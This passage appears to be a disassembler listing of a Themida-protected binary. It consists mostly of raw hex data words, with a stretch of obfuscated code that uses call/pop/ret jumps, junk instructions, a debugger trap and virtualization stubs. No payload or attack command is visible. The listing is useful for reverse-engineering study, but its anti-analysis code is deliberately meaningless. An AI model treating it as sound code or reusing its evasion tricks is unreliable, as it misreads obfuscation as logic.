0ADCh, 0E9CD574h, 79CD88A5h, 0AFFBB2D6h dd 9F2B6E04h, 0C85E1334h, 43E42E43h, 7717B80Eh, 2143EC3Ah dd 0D271D268h, 4D9F0F9Bh, 56CFF3Bh, 9887C5B6h, 97135EFFh dd 0FA40092Ch, 0EA1CBADDh, 0AF57D6AEh, 284ABB94h, 49EF3865h dd 0C1E55EFEh, 56887h, 0ACF15AB6h, 56AAAh, 4AD06B6h, 7F3A57B8h dd 0F8817D39h, 0B4641477h, 0BF000000h, 0F3F45CFFh, 0C16E63F3h dd 168F140Dh, 73FB3875h, 0AF583104h, 1C3DFC9Fh, 0E2DBCC51h dd 3955BEA4h, 0D0733C7Ch, 21931499h, 8FDA6C9Ah, 75B60038h dd 59FB4CDAh, 1D82C4E2h, 0E7BCAAD7h, 15359E4Ch, 0EC0AD058h dd 862B6E03h, 0FB9C0395h, 9EA10B6h, 9F9B236Ah, 65BCAAD7h dd 3BE46ECAh, 0BAB1571Ah, 0DCEC7F56h, 0A0666DFh, 0FB9E0000h dd 0A6CB74B2h, 5CFCA7E3h, 2E9115h, 3D5EC145h, 0CAD2A70h dd 92286506h, 0CE5C1131h, 388EC765h, 69BDF497h, 0DDDD6FFDh dd 0A7B6056Dh, 5EFFBA61h, 92C9713h, 0D73F7B8Dh, 0E705AF57h dd 57D765A5h, 1BF45FAFh, 0FFBFE422h, 1788155Ch, 5EE93D74h dd 67A145FEh, 0B6000ABCh, 49042586h, 0CCCC7EE4h, 0B6B6000Ah dd 1FCBA49Dh, 59DF92B4h, 0B4D67CEAh, 0B6000B74h, 0B5B3E54Eh dd 0B6000B72h, 0B0FCA50Eh, 0AB8F00Ah, 0A18AB600h, 0C1571240h dd 77E67955h, 2D4BB414h, 4AEE3F64h, 66688h, 1CBA9300h dd 57D6AEEAh, 0D47694AFh, 0AF57D6D4h, 0CAC85AEh, 0B54319BBh dd 83DCA508h, 1269839Ah, 0DAC6ED8h, 0E954F614h, 0FFB6004Bh dd 0FE3A7F14h, 89C3E750h, 64109A62h, 249B128Dh, 5B1EBCDBh dd 95553662h, 0B600CF91h, 0DDDD462Dh, 14772AE1h, 61204h dd 0B5E71F00h, 54F7D80Eh, 0CFB8F595h, 8E798369h, 74B5FFE0h dd 909456DBh, 2CB5FFE0h, 0E0DCDE47h, 71477DBh, 5EBh, 0F1220118h dd 0E1C2F843h, 77A00D40h, 0F93F7616h, 0ECA2C973h, 0B760B5FFh dd 0A20DAB51h, 4962CF86h, 0FFEC8981h, 58D07BB5h, 15166F8Eh dd 0D2882C42h, 3B5B5044h, 0E6F02976h, 5F4842A9h, 4FCE21ABh dd 0E491558Ch, 111CAEB4h, 0F348BD8Eh, 0E252DB58h, 8E367294h dd 0C20C48BDh, 7A2DCB4h, 0C4BD967Ch, 7A17F826h, 1731F23Fh dd 0EFD8D15Eh, 0AC3ABF49h, 0A7084F65h, 4861CE8Bh, 2548AB5Fh dd 0D675DE6Ch, 81EC699Fh, 8D2E59C4h, 85F34h, 1950F700h dd 480D228Dh, 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh dd 96398DC0h, 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 708286C0h dd 3A40B605h, 7E30BA1Dh, 575FCD2h, 0F3F2CA04h, 7F17E060h dd 7FD77639h, 24D3ABA3h, 55DAB331h, 4E072689h, 44FF5DEAh dd 50D864A6h, 9AAB606h, 6C11C468h, 15BC8641h, 0CDA6F73Ch dd 31B78F79h, 6B64B606h, 0D4521B3Ah, 4367C273h, 6320939h dd 6B9DFBB6h, 0B606322Fh, 0DC413A15h, 0DD692043h, 631FB2Bh dd 0CD84A8B6h, 76B7D679h, 19129FD6h, 3B7B8320h, 87B60622h dd 0D97C832Ch, 8AA90A90h, 989C5EC3h, 0BB60632h, 28F9266Bh dd 0D2E64B06h, 36D958D9h, 6E0D149Dh, 0F60E327h, 3B000001h dd 0AEEA1CBAh, 94AF57D6h, 93B27DBBh, 638955DAh, 57D6E1D9h dd 5200A3AFh, 0B8918A17h, 0C48DAF70h, 0D79B9F5Fh, 6508AF57h dd 9606872Ch, 0FF4FF92Dh, 0C5B6056Bh, 6CE8EE8Bh, 0B7A06011h dd 24A0FE11h, 329310F3h, 74Ch, 0BE0C45E4h, 0E93D7815h dd 0DF6B2246h, 0F9BDE74h, 78CE83A4h, 3354BEF3h, 0E787287Eh dd 91B31CAAh, 42E142D8h, 3D2FBF0Bh, 5718F8Bh, 83775B6h dd 88155CFFh, 8F3B7617h, 0D6E32761h, 98C0AF57h, 8B5B4CD1h dd 218208A0h, 53FC4A03h, 822D7930h, 4E0324E1h, 52DFC8E1h dd 0B0FDB0D1h, 0D4DB44F1h, 0CA8FEB3h, 12DFD610h, 0EF7h dd 59BA4800h, 0F029763Fh, 98D7B8h, 0FFF20000h, 0B2FB9D5Ch dd 0A7433C6Dh, 0D6CBCF79h, 9EB9AF57h, 65A1A91Ah, 60AF57E7h dd 40E3EA4Bh, 0E78682C4h, 0D37CAF57h, 6103ACFAh, 44438B28h dd 3BAF57E7h, 31BB05AEh, 0D09681E8h, 66C96F96h, 0DD3B8FC6h dd 571515B7h, 44EFAF58h, 5DFFCFD4h, 76168F14h, 2B422BDEh dd 0E7D02841h, 0D55EF7BAh, 0C36FAECEh, 0EF19AD86h, 0AF58CD44h dd 24807DD7h, 0C96512DFh, 7FFFFFFEh, 72BFF294h, 0BAB4FF39h dd 33703559h, 48D1BEFAh, 35000003h, 245C0DA3h, 0C9E24F02h dd 99B8FA31h, 5CFF141Fh, 564E8815h, 58AF57D7h, 183B42E3h dd 1AF3BAD9h, 0D17D668Ch, 0F89B0494h, 7C551839h, 0D6FF3737h dd 81A4AF57h, 72A26BC8h, 63EB1DC9h, 5B6056Bh, 1317B1DFh dd 0F1B6056Bh, 6B7CBC46h, 0ED46B605h, 7EAA854Bh, 0F324C2DBh dd 0E93D8625h, 81000005h, 0B81BAFE6h, 0E748DE9Bh, 11B20841h dd 41E2387Dh, 52D96D20h, 1F52F31Fh, 4B06288Bh, 793054FFh dd 0AAE3822Dh, 2852881Ch, 0B60571F0h, 0BAAF94D2h, 22763F59h dd 7397DE7Dh, 73A5EC90h, 236E0F90h, 50193CE7h, 642949AAh dd 0C04AEE3Fh, 0A3923E5Fh, 0F75ED399h, 69F04FDh, 1A8B2865h dd 34ED327Bh, 4CD55A1Fh, 4734672Ah, 5BF05FDEh, 0FFB2D3DAh dd 0CD1703ABh, 9CDE12DFh, 61EA516Ch, 9AB8F03Eh, 263h, 0BB6E7ADh dd 0D64EA4A6h, 816AAE46h, 2D261220h, 4CC1EC31h, 5A000002h dd 0DF0BB6E7h, 0D71317B1h, 28F9AF57h, 0DCDE5606h, 56C26D7Dh dd 113E7A8Ch, 2B04AF58h, 102E4486h, 0D375AE47h, 0EB8C159Ah dd 8BA879A6h, 9AA03CEh, 0E44D268Ah, 30EBFAD6h, 0A5CA35ECh dd 88A48E0h, 9D000002h, 0DF0BB6E7h, 57D771ADh, 0E68C77AFh dd 60CB75A3h, 0D5E93BC3h, 2E85AE46h, 2D997585h, 0E47CEC31h dd 6000001h, 0DE6AAED8h, 0FF58AE46h, 0DE79B1CBh, 0E04BAE46h dd 0B6E76348h, 75ADDF0Bh, 6BAF57D7h, 0CACE588h, 52BD69C2h dd 1E53F431h, 9AF9891h, 0D642509Ah, 0F55EAE46h, 5C16602Ch dd 0A53F1AD0h, 0E2DE5ADEh, 5EC31A3h, 19Bh dd 0FA5A9DDFh, 0A67A1718h, 341F462Ch, 0B5E3D754h, 3B59BA6Eh dd 0DA792672h, 0EA377A1Bh, 8422D8B1h, 57D74642h, 85133CAFh dd 97DE7D26h, 48EAD573h, 478F9805h, 0AF57D743h, 0B5F09E01h dd 0D2463F68h, 0C67DDF68h, 0F677E620h, 0E24DB5FFh, 0F679BDBDh dd 42AB5FFh, 2543DC41h, 0DC4BC76Ch, 865CC453h, 6F6CEF74h dd 0B24CE0ADh, 78F97D79h, 3A910783h, 418D7979h, 55681477h dd 0B3000000h, 4FEFB5E7h, 0FF4C0FCBh, 0E13D710Ah, 221BFB7Ch dd 146B9D49h, 0CAB60020h, 95034AE9h, 0D01AC06Bh, 28B8EEBAh dd 3556B738h, 0B6E23B78h, 0B51115D5h, 0B7ADB600h, 32662B4Ch dd 6E94D859h, 0B4DCDCh, 6305A6B6h, 0BB94852Ah, 8CDB97Dh dd 0B2281477h, 0F3000000h, 88155CFFh, 0F63B7617h, 0AFEA8768h dd 96B82902h, 0D34556DBh, 0C360294Ch, 3C8AC362h, 57DB9BCAh dd 2C6508AFh, 0F23650FEh, 0D0AF57DAh, 0AD4B3167h, 906A2342h dd 818634D8h, 0F9810B0h, 4AF016ADh, 4BBAA2Ch, 48175BBh dd 586BBEFAh, 0E47E5AFh, 0DD7688A1h, 6C9B9F29h, 0CE69AF58h dd 0BB19C6Ah, 0B893B603h, 0CD80A102h, 0F8B5D679h, 272323C0h dd 0AD1695F3h, 354h, 86044DECh, 0F135701Dh, 27632A4Eh dd 1793D67Ch, 40C68BACh, 3B5CB6FBh, 0EF8F3076h, 99BB64A2h dd 4AE94AD0h, 0C5278703h, 5758783h, 103F7DB6h, 97135EFFh dd 0FA40092Ch, 155CFFDDh, 3D741788h, 0D7181FE9h, 2193AF57h dd 6FDA6C9Ah, 55B60002h, 0FF87ACFAh, 1788155Ch, 5256F074h dd 51AF57D7h, 0C36C7E37h, 948DC062h, 6507E816h, 296872Ch dd 7EAC1785h, 0FFF5A1CCh, 6BC863B5h, 0FFF5A3E3h, 0CB543FB5h dd 77CCD3CFh, 253A14h, 0E70D0000h, 0AED80EB5h, 0B600054Fh dd 3EC1A35h, 198A2E63h, 4D5D1h, 991AF1B6h, 77F8AD99h, 1054814h dd 0FFD30000h, 1788155Ch, 248F3B76h, 0B5E64B0Eh, 7C1F8063h dd 9172E835h, 2374B9FCh, 420B2AF5h, 0CCCC7EA4h, 0B6AF57D6h dd 4BB11B9Dh, 30D44201h, 55AD5E0Eh, 0C606B258h, 5C35540h dd 0AF58B1D2h, 0D3B84294h, 1A38708Ah, 210AAF58h, 0A9FF92A9h dd 4BEDC68Fh, 0B20841E4h, 0F63B7211h, 0ACE58768h, 0A219BB0Ch dd 59F5DE04h, 2586971Ch, 0B4E54A03h, 0FE77E264h, 0E24DB5FFh dd 82B1E3A4h, 0E42466E2h, 0DEB5FFFDh, 0DC6E9C75h, 0B5FFFDDCh dd 76948DA6h, 841E7C8h, 325472ABh, 0B5FFFDF6h, 333563CCh dd 0BCAAA006h, 4CB753FCh, 3A20662Bh, 0B8F0B5D9h, 0ED1B56F7h dd 0EC7F8E40h, 0E5E06142h, 7D000001h, 0AC1793DAh, 0DB44C287h dd 0DB6F4BDh, 3DE62461h, 4ED5511Ch, 0B46E72Bh, 3F7214BFh dd 6D2448EBh, 9ED776D9h, 3C4E9C08h, 0B60575FCh, 0FF9B80C6h dd 6997135Eh, 0D781B9C3h, 6043AF57h, 0FE2F743Dh, 690C9305h dd 0E7BD9A20h, 0AED80EB5h, 0B600054Fh, 4AECD735h, 79819A07h dd 0B6000541h, 2489CC62h, 6F58F3F3h, 4FC38C2h, 4298B600h dd 5A6E224h, 0B39CB600h, 15258E65h, 1477F939h, 0CADCh dd 5454A600h, 0D3130246h, 19DDDD6Fh, 8CA7B600h, 0FF1E0593h dd 1788155Ch, 74F63B76h, 0AF57DC01h, 1CCA83A2h, 0F46C86DAh dd 68D9083Ah, 0A12B8DC4h, 89165FFEh, 0F317AC00h, 0FFF52249h dd 0B8DBC4B5h, 3D7BACF1h, 59E23813h, 609A40FBh, 0BCAA93D8h dd 4D08258Eh, 521F3FE0h, 0B5E3DCCDh, 4B06288Bh, 2EDCB5E6h dd 5DE9A4C5h, 0C35625B7h, 4C11F204h, 0A9DAFE3Ah, 726BC4BCh dd 95D87926h, 8053B473h, 68D9DAECh, 0DCh, 0E9CD574h, 79CD88A5h dd 0AFFBB2D6h, 9F2B6E04h, 0C85E1334h, 43E42E43h, 7717B80Eh dd 2143EC3Ah, 0D271D268h, 4D9F0F9Bh, 576FF3Bh, 9887C5B6h dd 97135EFFh, 0AFE68669h, 0CE87A609h, 0DE9BB718h, 0FFCBF05Ah dd 0B6FF9D5Ch, 0ACCF50DDh, 6F0ECF6Dh, 0B7A0F926h, 0C258316Ah dd 0BA60DB79h, 0D9CEDA1Ch, 1B647C8Ch, 1DFF4B9Dh, 6AC5B606h dd 0F8395CC5h, 0A733FA56h, 0BC3B1D23h, 0BA3CEAC3h, 0D3493C09h dd 6C016225h, 9A058F29h, 0EE14B2FBh, 6C85C5Ch, 9C0D26B6h dd 8063B5FCh, 91D4795Ah, 4B9D1B0Ch, 2853BD57h, 1D248D7Eh dd 50F3377Eh, 663F642Dh, 33598DC8h, 53BD9189h, 50D87328h dd 5C1132F3h, 65204ED7h, 82238838h, 3EE7CCF3h, 0C95D1437h dd 218EC766h, 3A0h, 0CBB07B00h, 8C1158FFh, 0F4397013h dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh dd 60CD84A4h, 4AD792BFh, 0E08950FAh, 405h, 4E88300h, 8B240487h dd 0F682424h, 8900007Bh, 7668242Ch, 89000063h, 0B850241Ch dd 185612F4h, 0F702E0C1h, 54040D0h, 6805E0F2h, 5458C589h dd 83241C8Bh, 505104C4h, 8B8h, 58C18900h, 2989D901h, 2434FF59h dd 4C4835Bh, 5D2434FFh, 4C481h, 0D3E90000h, 9CFFFADBh dd 0ADA18CB8h, 0FFC50306h, 69475EE0h, 296DFE73h, 0FD1D6E46h dd 0EE15D651h, 3DD52E04h, 71A5A62Ch, 0CFD3B802h, 31204156h dd 19772B5Dh, 6A5F8575h, 1BA60E21h, 60C08B7Bh, 8E9h, 0FFD89800h dd 3B6FC2E8h, 0BF666072h, 22B68D9Dh, 0BD836161h, 6A81ED9h dd 83097500h, 0A82DE9BDh, 19740006h, 0C08B5350h, 3FCB8h dd 0B5858900h, 8D06A807h, 0AAA1AC9Dh, 5BD3FF06h, 0E9BD8358h dd 6A82Dh, 53501774h, 3FCB8h, 0B5858900h, 8D06A807h, 0AA9E9B9Dh dd 5BD3FF06h, 0F16BBA58h, 6A33D6h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 2A3E08C3h, 11E9C0h, 57900000h dd 0FA16E893h, 316E7338h, 0A00700EBh, 66934341h, 8B51A3BAh dd 39D381C0h, 8310C566h, 0A8339DBDh, 840F0106h, 40h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D8C35747h, 83666312h dd 0A81725BDh, 850F0006h, 14h, 0BD83F98Ah, 6A80061h, 5A840F00h dd 66000000h, 1259F381h, 406E9h, 0FC00h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0F37EDBC3h, 0C7F7F2AAh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 28C35242h, 0E5F9E599h, 3800Fh, 8B660000h dd 0A28BEFDEh, 0A389C62h, 0E190387Ah, 0C705D744h, 3D3E4CC7h dd 6C3E1029h, 0AF67A9C1h, 48724D98h, 487AE3C5h, 6C3E2BC5h dd 0AF6FD9C1h, 0BFD954FBh, 939153D1h, 85E49811h, 6C3E8C95h dd 846BC4ABh, 6C3E62C2h, 31FD6CE1h, 681AF448h, 681A0840h dd 6C3E26D9h, 30FD4684h, 0F275E0FAh, 39E11641h, 6C3E6229h dd 81BF6CC1h, 6A933B15h, 846D4CABh, 6C3E26C2h, 37FD48E1h dd 681AD548h, 681A8040h, 6C3E62D7h, 0A3FD6282h, 0ACB5D753h dd 84694CABh, 6C3E26C2h, 33FD4CE1h, 681AF548h, 681A8040h dd 6C3E62DAh, 0B3FD6686h, 26338DE4h, 63A7B5A0h, 6C3E2F44h dd 6FBB1CC1h, 633E89C1h, 0DFAE1A76h, 0E0313254h, 6C3E31DBh dd 6C3E8A29h, 0EBEDE0C1h, 1E12C1CAh, 2393012Bh, 81E9F54Ah dd 0E70357DBh, 6AE3911h, 6FD666C1h, 4C3E98C1h, 0E5618F9Eh dd 0ED3A02BDh, 753A3785h, 2B3E89C1h, 0FFDA0796h, 0AB370086h dd 11853D73h, 63018B18h, 921A00C0h, 6C3CA4CEh, 4D8913C1h dd 3A3EE399h, 6C3EC729h, 0AF6042C1h, 484AB89Fh, 487A19C5h dd 6C3E5AC5h, 0AF6860C1h, 84ACAA72h, 6C3E89D3h, 563E4C4Bh dd 99F3BE7Dh, 0D83EF34Ah, 0F2DE7EC0h, 0D758DD94h, 6964B825h dd 6C3E11CDh, 6C3E8C28h dd 5F947EC1h, 64B5E6AAh, 9C01CE7Ah, 24B5FEFEh, 3E3E263Dh dd 6C3E2529h, 0AF6433C1h, 486A009Bh, 487A45C5h, 6C3E77C5h dd 0AF6C73C1h, 0D6582FF1h, 6D868C5Bh, 633E26C1h, 6C3E1047h dd 0B78186C1h, 3CEA4E50h, 3D3E0850h, 6C3E3229h, 0AF67B8C1h dd 4872C598h, 487AA7C5h, 6C3E0AC5h, 0AF6FC8C1h, 8CB2F469h dd 6AD747C5h, 593E31C1h, 0BAEAF2CCh, 6C2AA545h, 769326C1h dd 0E4BBC612h, 0E1292B24h, 0B4648F34h, 4F34390h, 99B43F70h dd 6E714A7h, 6FD61FC1h, 4C3E26C1h, 0E565D09Ah, 0ED3AAD9Dh dd 773AE085h, 2F3E62C1h, 4EC8F292h, 58227FFAh, 0ADC82EB3h dd 86BB29C5h, 0DF3E13C1h, 0E731D09Bh, 6C3EC4C6h, 0BCB504A1h dd 0EC5F50A1h, 0E931F0F8h, 6C3E4D8Ah, 15B58F77h, 3E3E79C0h dd 6C3E8A29h, 0AF64E4C1h, 486AEB9Bh, 487AB0C5h, 6C3E8CC5h dd 0AF6C0EC1h, 86ECA771h, 3D5B21FEh, 2FC08A7h, 93BF9E80h dd 0EC3E62C1h, 6D2FB3CEh, 6C5498C1h, 6C3DA493h, 361E26C1h dd 38B74902h, 28BF8DE5h, 6C2AC0E5h, 3E7C62C1h, 86BF1A02h dd 4C7D428h, 0CF1FC906h, 6C3F206Ch, 87BF13C1h, 422BA8B8h dd 6C3FD228h, 3D3E08C1h, 6C3E3229h, 0AF67B8C1h, 4872C598h dd 487AA7C5h, 6C3E09C5h, 0AF6FC8C1h, 38AD275Eh, 8578AA8Eh dd 6C3E31CEh, 0CB3DC47Dh, 0CA44C98Eh, 0ABBC070Dh, 85270CA8h dd 6C3E895Eh, 846FC4ABh, 6C3E62C2h, 35FD68E1h, 681AD448h dd 681A0840h, 6C3E26D5h, 10FD4280h, 0ED58DA92h, 3702062Bh dd 0ACB3B9Bh, 93354842h, 6C531CCEh, 6C544CC1h, 6C3DCE91h dd 341E13C1h, 28B7D102h, 28BFC0E5h, 6C2866E5h, 3C7E31C1h dd 26B8BC02h, 14E0F7A7h, 0CD0D9DA1h, 0D3314C02h, 0E9F9E819h dd 6A9367E0h, 6C3E62C0h, 846931ABh, 6C3E98C2h, 33FD13E1h dd 681A5A48h, 681A5740h, 6C3E89DDh, 0F0FD9386h, 17426D91h dd 0C0399D10h, 6AB197A1h, 0ED3E4CC1h, 8341D32Eh, 9AE5AAF0h dd 245FAD2Bh, 846FC4ABh, 6C3E62C2h, 35FD68E1h, 681AD448h dd 681A0840h, 6C3E26DDh, 0E2FD4280h, 0DB16FD70h, 8EEAC2B5h dd 6C3E6A28h, 3DEC51C1h, 0C7900CBAh, 0E4311C9Fh, 6C3E26C3h dd 0D564E34Bh, 692322C9h, 0C570414Ch, 0D1B3646Ch, 6A939683h dd 6B4A60FAh, 0A5EF43F1h, 6CBCD86h, 6FD640C1h, 4C3E89C1h dd 0E565079Ah, 0ED3A469Dh, 783A1585h, 2F3E98C1h, 63FB8F92h dd 6C3E2C44h, 68BD1CC1h, 0A3E89C1h, 0EF24AC7Ah, 0C40DFF7Ch dd 0E83130C7h, 6C3E9894h, 0FF981E7Ah, 4983A5D9h, 6C38BBD6h dd 6C7D0CCEh, 61D7C4C1h, 573E62C1h, 0EF604EF4h, 6E04E5Fh dd 0DCE6DF86h, 6C5F9B42h, 633E1569h, 6C3ED245h, 3C3EAEC1h dd 6C3E6129h, 0AF6611C1h, 487A1199h, 487ACDC5h, 6C3E30C5h dd 0AF6E53C1h, 0EDB7C364h, 23B5902Ah, 6D148BE9h, 6C5431C1h dd 6C3D7094h, 311E4CC1h, 0B77B02h, 28BF17E5h, 6C258DE5h dd 397BC4C1h, 30329402h, 47839132h, 6FB697F0h, 0A3E4CC1h dd 8EBFF04Ah, 50B17DEEh, 5FA33442h, 633FC269h, 6C3E1144h dd 3E3E5BC1h, 6C3E9B29h, 0AF646CC1h, 486AAF9Bh, 487A92C5h dd 6C3E9EC5h, 0AF6C86C1h, 277B4B74h, 0CC8AC97Ah, 6C54C5DDh dd 6C3DA491h, 341E26C1h, 28B74B02h, 28BF8DE5h, 6C29C0E5h dd 3C7E62C1h, 0DDE25102h, 0BDB5FEBBh, 8EBF2A02h, 0F5D76513h dd 63E13C1h, 6FD6DCC1h, 4C3EC4C1h, 0E563A19Ch, 0ED3A15ADh dd 7B3ABC85h, 293E4CC1h, 267FE594h, 0B08DF94Ch, 3A3EE39Ch dd 6C3EC729h, 0AF6042C1h, 484AB89Fh, 487A19C5h, 6C3E54C5h dd 0AF6860C1h, 48EC364Bh, 0E2DC09D3h, 6C3344CEh, 64D762C1h dd 7D3E31C1h, 838AEEA0h, 0A3D5F2ABh, 846D26ABh, 6C3E13C2h dd 37FDD2E1h, 681A9848h, 681A2640h, 6C3E31D6h, 0CBFDCB82h dd 847D4AFCh, 6C3E26D0h, 0B0EE392Fh, 0C8FF0140h, 6A2941ABh dd 0B83A604h, 0ED585130h, 0D04CA28h, 0BFB52A9Bh, 0CF4E9B4Ch dd 0E1B3156Ch, 6A9320DAh, 5662D979h, 79BB51BAh, 473899D4h dd 22C9D50Eh, 414C6923h, 646CC570h, 9683D1B3h, 60FA6A93h dd 43F16B4Ah, 0CD86A5EFh, 0F305E983h, 21BD83A4h, 6ADA3h dd 8D8D0D74h, 6A84FAFh, 1B8h, 40E1FF00h, 4820Fh, 0BA660000h dd 830FE440h, 1, 2DE883F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 41C35242h, 0A1B88632h, 0F11D7C0h, 489h dd 6BB6600h, 81C08B5Ah, 681EE6CAh, 0D9BD8331h, 6A81Eh dd 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h, 3FCh, 0FD58589h dd 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h, 740006A8h dd 0B8535017h, 3FCh, 0FD58589h, 9D8D06A8h, 6AA9EB4h, 585BD3FFh dd 0B1EB8DBAh, 0F6816004h, 75F34DBFh, 61D6BF0Fh, 8D8DC08Bh dd 6ADAAC1h, 288D9509h, 8D8906A8h, 6A805B9h, 85C7DA8Bh dd 6A81469h, 695Ch, 348DB52Bh, 85C706A8h, 6A80BBDh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5A443B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A443B proc near ; CODE XREF: Themida_:005A4433p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5A443B endp ; --------------------------------------------------------------------------- dec ebp jge loc_5A445F jmp loc_5A445F ; --------------------------------------------------------------------------- db 3Ch dd 0F1A8AC64h db 57h, 7Ah, 90h ; --------------------------------------------------------------------------- loc_5A445F: ; CODE XREF: Themida_:005A444Cj ; Themida_:005A4452j push dword ptr [ebp+6A814A1h] push 0 push edx call sub_5A4470 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A4470 proc near ; CODE XREF: Themida_:005A4468p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5A4470 endp ; --------------------------------------------------------------------------- sub esi, edi xchg ch, bl fstp8 st(1) enter 33A8h, 95h mov ch, 16h test al, 6 jmp loc_5A4498 ; --------------------------------------------------------------------------- db 0F3h dd 2D9CF564h ; --------------------------------------------------------------------------- loc_5A4498: ; CODE XREF: Themida_:005A448Ej call dword ptr [ebp+6A820DDh] push 0 push edx call sub_5A44A9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A44A9 proc near ; CODE XREF: Themida_:005A44A1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5A44A9 endp ; --------------------------------------------------------------------------- or ecx, [ecx-11020DD8h] or [ebx], edi mov [ebp+6A82151h], edi push 0 call dword ptr [ebp+6A81B31h] mov eax, eax jmp short loc_5A44FC ; --------------------------------------------------------------------------- db 0FFh dd 9AF4AA85h, 54839CE3h, 15D734FFh, 380AB2C7h, 6C114463h dd 0C0711DDCh, 0B434AE87h, 0FF587185h, 30ECF368h, 0ED2BA960h ; --------------------------------------------------------------------------- loc_5A44FC: ; CODE XREF: Themida_:005A44D1j jmp loc_5A4525 ; --------------------------------------------------------------------------- db 43h, 0B1h, 0F0h dd 73h, 7 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5A4525: ; CODE XREF: Themida_:loc_5A44FCj jmp loc_5A512D ; --------------------------------------------------------------------------- push 6ADAC99h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6ADAD87h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6ADAF54h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6ADB040h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6ADB308h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6ADB480h jmp loc_55E058 ; --------------------------------------------------------------------------- push 6ADB55Ah jmp loc_55E058 ; --------------------------------------------------------------------------- mov cl, 0CDh aaa xchg eax, esi and [esi+30AF2340h], dh int 3 ; Trap to Debugger scasd fld tbyte ptr [esi+255D3152h] fistp qword ptr [esi+3BA7571Fh] rcr dword ptr [esi+ebp+592D4EB0h], 2Ch fdivr dword ptr [ebx+436094C7h] add esi, edi pushf jo short loc_5A45F0 or al, 58h cmp eax, 0B9D2DDF4h dec ebp fld dword ptr [esi] jmp dword ptr [esi] ; --------------------------------------------------------------------------- db 5Dh dd 7569BE91h, 629A844Dh, 5BDABDB4h, 6704F0EBh, 48F9BB24h dd 5EE11D4Ah ; --------------------------------------------------------------------------- loc_5A45C0: ; CODE XREF: Themida_:005A4631j mov eax, ds:0F9564841h pop ebx push edi pop ebx and dl, dh inc esp in eax, 22h loc_5A45CD: ; CODE XREF: Themida_:005A45D2j mov edi, 0E40CB664h js short loc_5A45CD cmpsd pop esi mov edx, 98DDFB15h pop ds push esi rol dword ptr [ecx+0], 0 add [esi-1Bh], ch cld mov esi, 17724081h ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_5A45EB: ; CODE XREF: Themida_:loc_5A45F0j cmp esi, esi aaa jmp short loc_5A461E ; --------------------------------------------------------------------------- loc_5A45F0: ; CODE XREF: Themida_:005A4599j loop loc_5A45EB pop ebx rep mov al, 8Fh dec esi sub al, 80h sub eax, 52CDA7F6h rol dword ptr [ebx-5Fh], cl jno short loc_5A4630 mul byte ptr [edi-77F835h] test [esi], cl in al, dx mov ecx, 488F747Ch and ebx, [esp+esi*2] inc esi ; --------------------------------------------------------------------------- db 8Ch, 0F5h, 32h dd 1F063254h db 56h, 3Ch ; --------------------------------------------------------------------------- loc_5A461E: ; CODE XREF: Themida_:005A45EEj into ; --------------------------------------------------------------------------- db 0 dd 0D2050000h, 4BD94DB9h, 7185F61Fh, 649D7CBDh ; --------------------------------------------------------------------------- loc_5A4630: ; CODE XREF: Themida_:005A4601j outsb jno short loc_5A45C0 or bl, [eax-0E5AAEF6h] ; CODE XREF: Themida_:005A463Aj out dx, al loopne near ptr loc_5A4633+2 add eax, 8FEF1091h ; --------------------------------------------------------------------------- db 67h, 0FEh, 0A1h dd 30F3325Eh, 0E41DE982h, 4B1DDC99h, 4ACD6E1Eh, 0EE9A1829h dd 1E238614h, 0A18950FCh, 3821D5Eh, 0A18ED6DFh, 6F9BCC5Eh dd 0C57191D2h, 905EA18Ch, 99ED8E11h, 0D881AEEh, 7999A6E4h dd 5BF98F6Ch, 0F6B5D649h, 54B64B09h, 0A2A03590h, 717D821Dh dd 0FCD2F309h, 0E59C7E84h, 13F8E31h, 9B32293h, 1B4B0000h dd 9CCEBCE1h, 0E75496Ah, 84FDD1F2h, 7B675B78h, 3539DC81h dd 0C6E71D45h, 57748AF0h, 0DDFE0A63h, 690AFEE9h, 5AF2145Bh dd 17580C52h, 0B6D2A79Ah, 0A5C31928h, 0D554C632h, 2EC0CA16h dd 56DB4BBFh, 37714F7h, 28FF9C68h, 81BEFCE5h, 0F9E25861h dd 0DC8B075Bh, 57FF1F20h, 22A7F62Ch, 29D0083h, 2CC26E90h dd 37A0A7F6h, 0A4DD53C3h, 374CA58h, 0F18227F7h, 1DB9903Fh dd 9ABC527Dh, 84561EE0h, 0BCh, 4DB9D2ADh, 0E51F4BD9h, 0F9068F31h dd 4B3C5EA1h, 214182BFh, 0A15E05F5h, 1A9A61C0h, 9F3C91AEh dd 7B4F2CEFh, 0A726F400h, 0A7C7783Ah, 0A40619BEh, 800BA8FBh dd 0FA1C2567h, 0A2AFA9CDh, 5DA1DED4h, 3AA968C9h, 96798DF8h dd 947D6569h, 8AB716ECh, 5754E473h, 88B4154h, 916B176Bh dd 8EBDE22Dh, 75D84A3Fh, 8C5h, 0B2D32955h, 3F5CAADCh, 0C3E01C4Bh dd 4D6E92CFh, 0DAFB0179h, 27433B33h, 